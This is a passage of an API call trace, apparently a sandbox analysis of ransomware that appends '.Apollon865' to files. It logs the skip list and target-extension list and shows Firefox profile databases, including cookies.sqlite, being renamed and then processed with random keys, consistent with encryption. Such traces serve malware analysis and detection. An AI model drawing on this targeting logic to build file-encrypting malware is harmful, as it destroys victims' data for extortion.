	[0040.882] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0040.882] lstrlenW (lpString="odb") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0040.882] lstrlenW (lpString="oqy") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0040.882] lstrlenW (lpString="ora") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0040.882] lstrlenW (lpString="orx") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0040.882] lstrlenW (lpString="owc") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0040.882] lstrlenW (lpString="p96") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0040.883] lstrlenW (lpString="p97") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0040.883] lstrlenW (lpString="pan") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0040.883] lstrlenW (lpString="pdb") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0040.883] lstrlenW (lpString="pdm") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0040.883] lstrlenW (lpString="pnz") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0040.883] lstrlenW (lpString="qry") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0040.883] lstrlenW (lpString="qvd") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0040.883] lstrlenW (lpString="rbf") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0040.883] lstrlenW (lpString="rctd") returned 4
	[0040.883] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0040.883] lstrlenW (lpString="rod") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0040.883] lstrlenW (lpString="rodx") returned 4
	[0040.883] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0040.883] lstrlenW (lpString="rpd") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0040.883] lstrlenW (lpString="rsd") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0040.883] lstrlenW (lpString="sas7bdat") returned 8
	[0040.883] lstrcmpiW (lpString1="lity.ini", lpString2="sas7bdat") returned -1
	[0040.883] lstrlenW (lpString="sbf") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0040.883] lstrlenW (lpString="scx") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0040.883] lstrlenW (lpString="sdb") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0040.883] lstrlenW (lpString="sdc") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0040.883] lstrlenW (lpString="sdf") returned 3
	[0040.883] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0040.884] lstrlenW (lpString="sis") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0040.884] lstrlenW (lpString="spq") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0040.884] lstrlenW (lpString="te") returned 2
	[0040.884] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0040.884] lstrlenW (lpString="teacher") returned 7
	[0040.884] lstrcmpiW (lpString1="ity.ini", lpString2="teacher") returned -1
	[0040.884] lstrlenW (lpString="tmd") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0040.884] lstrlenW (lpString="tps") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0040.884] lstrlenW (lpString="trc") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0040.884] lstrlenW (lpString="trc") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0040.884] lstrlenW (lpString="trm") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0040.884] lstrlenW (lpString="udb") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0040.884] lstrlenW (lpString="udl") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0040.884] lstrlenW (lpString="usr") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0040.884] lstrlenW (lpString="v12") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0040.884] lstrlenW (lpString="vis") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0040.884] lstrlenW (lpString="vpd") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0040.884] lstrlenW (lpString="vvv") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0040.884] lstrlenW (lpString="wdb") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0040.884] lstrlenW (lpString="wmdb") returned 4
	[0040.884] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0040.884] lstrlenW (lpString="wrk") returned 3
	[0040.884] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0040.885] lstrlenW (lpString="xdb") returned 3
	[0040.885] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0040.885] lstrlenW (lpString="xld") returned 3
	[0040.885] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0040.885] lstrlenW (lpString="xmlff") returned 5
	[0040.885] lstrcmpiW (lpString1="y.ini", lpString2="xmlff") returned 1
	[0040.885] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5e8ce50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5e8ce50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb639bd10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2=".") returned 1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="..") returned 1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="windows") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="bootmgr") returned 1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="temp") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="pagefile.sys") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="boot") returned 1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="ids.txt") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="ntuser.dat") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="perflogs") returned -1
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="MSBuild") returned -1
	[0040.885] lstrlenW (lpString="content-prefs.sqlite") returned 20
	[0040.885] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini") returned 105
	[0040.885] lstrcpyW (in: lpString1=0x2d3e600, lpString2="content-prefs.sqlite" | out: lpString1="content-prefs.sqlite") returned="content-prefs.sqlite"
	[0040.885] lstrlenW (lpString="content-prefs.sqlite") returned 20
	[0040.885] lstrlenW (lpString="Apollon865") returned 10
	[0040.885] lstrcmpiW (lpString1="efs.sqlite", lpString2="Apollon865") returned 1
	[0040.885] lstrlenW (lpString=".dll") returned 4
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2=".dll") returned 1
	[0040.885] lstrlenW (lpString=".lnk") returned 4
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2=".lnk") returned 1
	[0040.885] lstrlenW (lpString=".ini") returned 4
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2=".ini") returned 1
	[0040.885] lstrlenW (lpString=".sys") returned 4
	[0040.885] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2=".sys") returned 1
	[0040.885] lstrlenW (lpString="content-prefs.sqlite") returned 20
	[0040.885] lstrlenW (lpString="bak") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="bak") returned 1
	[0040.886] lstrlenW (lpString="ba_") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="ba_") returned 1
	[0040.886] lstrlenW (lpString="dbb") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="dbb") returned 1
	[0040.886] lstrlenW (lpString="vmdk") returned 4
	[0040.886] lstrcmpiW (lpString1="lite", lpString2="vmdk") returned -1
	[0040.886] lstrlenW (lpString="rar") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="rar") returned -1
	[0040.886] lstrlenW (lpString="zip") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="zip") returned -1
	[0040.886] lstrlenW (lpString="tgz") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="tgz") returned -1
	[0040.886] lstrlenW (lpString="vbox") returned 4
	[0040.886] lstrcmpiW (lpString1="lite", lpString2="vbox") returned -1
	[0040.886] lstrlenW (lpString="vdi") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="vdi") returned -1
	[0040.886] lstrlenW (lpString="vhd") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="vhd") returned -1
	[0040.886] lstrlenW (lpString="vhdx") returned 4
	[0040.886] lstrcmpiW (lpString1="lite", lpString2="vhdx") returned -1
	[0040.886] lstrlenW (lpString="avhd") returned 4
	[0040.886] lstrcmpiW (lpString1="lite", lpString2="avhd") returned 1
	[0040.886] lstrlenW (lpString="db") returned 2
	[0040.886] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0040.886] lstrlenW (lpString="db2") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="db2") returned 1
	[0040.886] lstrlenW (lpString="db3") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="db3") returned 1
	[0040.886] lstrlenW (lpString="dbf") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="dbf") returned 1
	[0040.886] lstrlenW (lpString="mdf") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="mdf") returned -1
	[0040.886] lstrlenW (lpString="mdb") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="mdb") returned -1
	[0040.886] lstrlenW (lpString="sql") returned 3
	[0040.886] lstrcmpiW (lpString1="ite", lpString2="sql") returned -1
	[0040.887] lstrlenW (lpString="sqlite") returned 6
	[0040.887] lstrcmpiW (lpString1="sqlite", lpString2="sqlite") returned 0
	[0040.887] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.Apollon865") returned 119
	[0040.887] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0040.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0040.889] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=229376) returned 1
	[0040.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0040.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0040.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0040.889] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0040.890] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0040.890] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.890] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38300, lpName=0x0) returned 0x150
	[0040.892] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38300) returned 0x120000
	[0040.915] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0040.916] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0040.916] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0040.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0040.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0040.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0040.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0040.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0040.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0040.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0040.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0040.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0040.916] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0040.918] CloseHandle (hObject=0x150) returned 1
	[0040.918] CloseHandle (hObject=0x154) returned 1
	[0040.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0040.923] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5ad4bf0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5ad4bf0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x83256a10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2=".") returned 1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="..") returned 1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="windows") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="bootmgr") returned 1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="temp") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="pagefile.sys") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="boot") returned 1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="ids.txt") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="ntuser.dat") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="perflogs") returned -1
	[0040.923] lstrcmpiW (lpString1="cookies.sqlite", lpString2="MSBuild") returned -1
	[0040.923] lstrlenW (lpString="cookies.sqlite") returned 14
	[0040.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite") returned 108
	[0040.923] lstrcpyW (in: lpString1=0x2d3e600, lpString2="cookies.sqlite" | out: lpString1="cookies.sqlite") returned="cookies.sqlite"
	[0040.923] lstrlenW (lpString="cookies.sqlite") returned 14
	[0040.923] lstrlenW (lpString="Apollon865") returned 10
	[0040.924] lstrcmpiW (lpString1="ies.sqlite", lpString2="Apollon865") returned 1
	[0040.924] lstrlenW (lpString=".dll") returned 4
	[0040.924] lstrcmpiW (lpString1="cookies.sqlite", lpString2=".dll") returned 1
	[0040.924] lstrlenW (lpString=".lnk") returned 4
	[0040.924] lstrcmpiW (lpString1="cookies.sqlite", lpString2=".lnk") returned 1
	[0040.924] lstrlenW (lpString=".ini") returned 4
	[0040.924] lstrcmpiW (lpString1="cookies.sqlite", lpString2=".ini") returned 1
	[0040.924] lstrlenW (lpString=".sys") returned 4
	[0040.924] lstrcmpiW (lpString1="cookies.sqlite", lpString2=".sys") returned 1
	[0040.924] lstrlenW (lpString="cookies.sqlite") returned 14
	[0040.924] lstrlenW (lpString="bak") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="bak") returned 1
	[0040.924] lstrlenW (lpString="ba_") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="ba_") returned 1
	[0040.924] lstrlenW (lpString="dbb") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="dbb") returned 1
	[0040.924] lstrlenW (lpString="vmdk") returned 4
	[0040.924] lstrcmpiW (lpString1="lite", lpString2="vmdk") returned -1
	[0040.924] lstrlenW (lpString="rar") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="rar") returned -1
	[0040.924] lstrlenW (lpString="zip") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="zip") returned -1
	[0040.924] lstrlenW (lpString="tgz") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="tgz") returned -1
	[0040.924] lstrlenW (lpString="vbox") returned 4
	[0040.924] lstrcmpiW (lpString1="lite", lpString2="vbox") returned -1
	[0040.924] lstrlenW (lpString="vdi") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="vdi") returned -1
	[0040.924] lstrlenW (lpString="vhd") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="vhd") returned -1
	[0040.924] lstrlenW (lpString="vhdx") returned 4
	[0040.924] lstrcmpiW (lpString1="lite", lpString2="vhdx") returned -1
	[0040.924] lstrlenW (lpString="avhd") returned 4
	[0040.924] lstrcmpiW (lpString1="lite", lpString2="avhd") returned 1
	[0040.924] lstrlenW (lpString="db") returned 2
	[0040.924] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0040.924] lstrlenW (lpString="db2") returned 3
	[0040.924] lstrcmpiW (lpString1="ite", lpString2="db2") returned 1
	[0040.924] lstrlenW (lpString="db3") returned 3
	[0040.925] lstrcmpiW (lpString1="ite", lpString2="db3") returned 1
	[0040.925] lstrlenW (lpString="dbf") returned 3
	[0040.925] lstrcmpiW (lpString1="ite", lpString2="dbf") returned 1
	[0040.925] lstrlenW (lpString="mdf") returned 3
	[0040.925] lstrcmpiW (lpString1="ite", lpString2="mdf") returned -1
	[0040.925] lstrlenW (lpString="mdb") returned 3
	[0040.925] lstrcmpiW (lpString1="ite", lpString2="mdb") returned -1
	[0040.925] lstrlenW (lpString="sql") returned 3
	[0040.925] lstrcmpiW (lpString1="ite", lpString2="sql") returned -1
	[0040.925] lstrlenW (lpString="sqlite") returned 6
	[0040.925] lstrcmpiW (lpString1="sqlite", lpString2="sqlite") returned 0
	[0040.925] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.Apollon865") returned 113
	[0040.925] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0040.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0040.926] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=524288) returned 1
	[0040.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0040.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0040.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0040.926] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0040.927] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0040.927] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.927] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80300, lpName=0x0) returned 0x150
	[0040.928] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80300) returned 0x210000
	[0040.951] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0040.952] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0040.952] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0040.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0040.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0040.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0040.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0040.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0040.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0040.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0040.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0040.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0040.952] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0040.957] CloseHandle (hObject=0x150) returned 1
	[0040.957] CloseHandle (hObject=0x154) returned 1
	[0040.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0040.966] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc374ed0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc374ed0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbc555e20, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="downloads.sqlite", cAlternateFileName="DOWNLO~1.SQL")) returned 1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2=".") returned 1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="..") returned 1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="windows") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="bootmgr") returned 1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="temp") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="pagefile.sys") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="boot") returned 1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="ids.txt") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="ntuser.dat") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="perflogs") returned -1
	[0040.967] lstrcmpiW (lpString1="downloads.sqlite", lpString2="MSBuild") returned -1
	[0040.967] lstrlenW (lpString="downloads.sqlite") returned 16
